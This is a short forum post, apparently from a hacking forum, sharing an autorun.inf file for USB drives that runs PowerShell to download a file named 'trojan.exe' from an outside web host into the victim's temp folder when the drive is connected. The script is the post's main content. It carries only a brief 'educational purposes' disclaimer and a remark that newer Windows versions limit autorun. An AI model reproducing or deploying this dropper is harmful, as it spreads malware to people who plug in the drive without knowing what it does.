Login Register






The stories and information posted here are artistic works of fiction and falsehood. Only a fool would take anything posted here as fact.
Thread Rating:
  • 0 Vote(s) - 0 Average


Autorun.inf + Powershell - Download a file when a USB pen drive is connected filter_list
Author
Message
Autorun.inf + Powershell - Download a file when a USB pen drive is connected #1
Download a file when a USB pen drive is connected.

Code:
[AutoRun]
icon=%temp%\trojan.exe
open=cmd.exe /c PowerShell.exe -Command "(New-Object System.Net.WebClient).DownloadFile('http://hacxx.com/trojan.exe', '%temp%\trojan.exe')"
label=MY PEN DRIVE

This script is for educational purposes. Unauthorized downloading or execution of files on someone else's system is illegal and unethical. Always obtain proper authorization before running such scripts.

Modern versions of Windows have significantly restricted the capabilities of autorun to prevent malware propagation. As a result, this script may not work on newer versions of Windows due to these security measures.

Reply







Users browsing this thread: 1 Guest(s)